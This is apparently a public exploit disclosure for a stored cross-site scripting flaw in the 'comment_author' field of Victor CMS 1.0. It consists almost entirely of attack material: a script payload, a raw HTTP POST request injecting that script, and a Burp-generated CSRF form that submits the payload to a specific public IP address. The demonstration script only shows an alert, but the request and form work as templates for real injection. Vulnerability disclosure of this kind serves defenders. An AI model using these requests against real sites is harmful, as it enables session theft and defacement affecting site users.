Victor CMS 1.0 – ‘comment_author’ Persistent Cross-Site Scripting
# Exploit Title: Victor CMS 1.0 - 'comment_author' Persistent Cross-Site Scripting # Google Dork: N/A # Date: 2020-05-19 # Exploit Author: Kishan Lal Choudhary # Vendor Homepage: https://github.com/VictorAlagwu/CMSsite # Software Link: https://github.com/VictorAlagwu/CMSsite/archive/master.zip # Version: 1.0 # Tested on: Windows 10 Description: The POST parameter 'comment_author' is vulnerable to stored cross site scripting Payload: <script>alert(1)</script> POST /post.php?post=1 HTTP/1.1 Host: localhost Content-Length: 146 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://localhost/post.php?post=1 Accept-Encoding: gzip, deflate Accept-Language: en-GB,en;q=0.9,en-US;q=0.8,fr;q=0.7 Cookie: PHPSESSID=cjpan858fghefnjse7qv1j3v72 Connection: close comment_author=%3Cscript%3Ealert%28%22XSS%22%29%3C%2Fscript%3E&comment_email=lol%40lol.com&comment_content=%3Cp%3Etester%3C%2Fp%3E&create_comment= ------------------------------------------------------------------------------------------------------------------------------------------------------------------ CSRF <html> <!-- CSRF PoC - generated by Burp Suite Professional --> <body> <script>history.pushState('', '', '/')</script> <form action="http://149.28.135.91/post.php?post=1" method="POST"> <input type="hidden" name="comment_author" value="<script>alert("XSS")</script>" /> <input type="hidden" name="comment_email" value="lol@lol.com" /> <input type="hidden" name="comment_content" value="<p>tester</p>" /> <input type="hidden" name="create_comment" value="" /> <input type="submit" value="Submit request" /> </form> </body> </html> |